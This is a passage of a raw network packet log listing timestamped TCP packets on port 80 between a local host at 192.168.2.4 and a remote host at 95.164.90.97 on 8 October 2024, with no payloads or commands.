Oct 8, 2024 02:45:29.743611097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743628979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743834019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743849993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743865013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743877888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743891954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743897915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743906021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743921995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743923903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743923903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743923903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743938923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.743963003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743963003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743963957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.743988037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744107962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744122982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744137049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744149923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744162083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744162083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744198084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744198084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744241953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744256973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744302034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744302034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744456053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744472027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744486094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744499922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744508982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744514942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744508982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744530916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744535923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744548082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744561911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744564056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744561911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744580030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744589090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744590044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744595051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744610071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744617939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744618893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744625092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744640112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744646072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744646072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744656086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744669914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744676113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744677067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744684935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744702101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744704008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744704008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744716883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.744724989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744745970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.744765997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745368958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745389938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745404005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745418072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745431900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745436907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745436907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745446920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745461941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745465994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745465994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745476961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745491982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745492935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745507956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745520115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745522976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745537996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745542049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745552063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745567083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745568037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745582104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745594025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745598078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745615005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745640993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745640993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745918989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745934963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745949984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.745980978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.745980978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746052980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746068001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746100903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746121883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746121883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746139050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746151924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746176004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746176004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746197939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746268034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746284008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746299028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746313095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746331930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746330976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746330976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746349096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746361971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746361971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746365070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746381044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746391058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746391058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746397018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746412992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746423006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746423006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746427059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.746450901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746450901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.746471882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841289043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841330051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841342926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841357946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841373920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841428041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841509104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841523886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841531992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841538906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841532946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841532946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841556072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841648102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841648102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841648102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841649055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841713905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841738939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841774940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841774940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841825008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841840029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841876030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841876030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.841978073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.841994047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842009068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842024088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842039108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842042923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842042923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842077971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842101097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842277050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842293024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842308044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842324018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842329025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842329025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842365026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842365026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842526913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842542887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842556953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842571020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842585087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842585087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842586040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842602968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842607975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842617989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842631102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842650890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842669010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.842845917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842973948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.842988014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843003035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843017101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843030930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843036890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843045950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843058109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843061924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843076944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843079090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843091011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843106985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843106985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843106985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843136072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843136072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843154907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843579054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843595982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843611002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843626022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843638897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843638897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843641043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843658924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843667984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843667984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843676090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843691111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843699932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843699932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843707085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.843719959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843745947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.843745947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844018936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844033957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844048023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844062090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844074011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844074011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844111919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844113111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844151020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844166040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844180107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844193935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844206095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844206095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844208956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844224930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844228029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844238997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844254017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844254971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844254017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844270945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844281912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844281912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844286919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844301939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844301939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844324112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844350100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844350100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.844965935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844981909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.844995022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845010042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845021009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845021009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845025063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845050097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845050097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845082998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845099926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845113993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845129013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845143080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845143080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845158100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845172882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845174074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845172882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845189095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845194101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845204115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845220089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845233917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845238924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845247984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.845262051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.845293045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846035957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846051931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846065044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846079111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846092939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846097946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846107960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846122026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846122980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846138954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846141100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846153975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846163034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846169949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846179962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846185923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846201897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846208096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846215963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846227884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846231937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846246958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846261978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846267939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846291065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846309900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.846935034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846950054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846962929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846976995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846992016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.846999884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847007036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847022057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847026110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847037077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847050905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847050905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847068071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847073078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847084045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847096920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847098112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847114086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847129107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.847127914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847151041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847170115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.847188950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.942594051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942622900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.942636013 CEST	80	51293	95.164.90.97	192.168.2.4
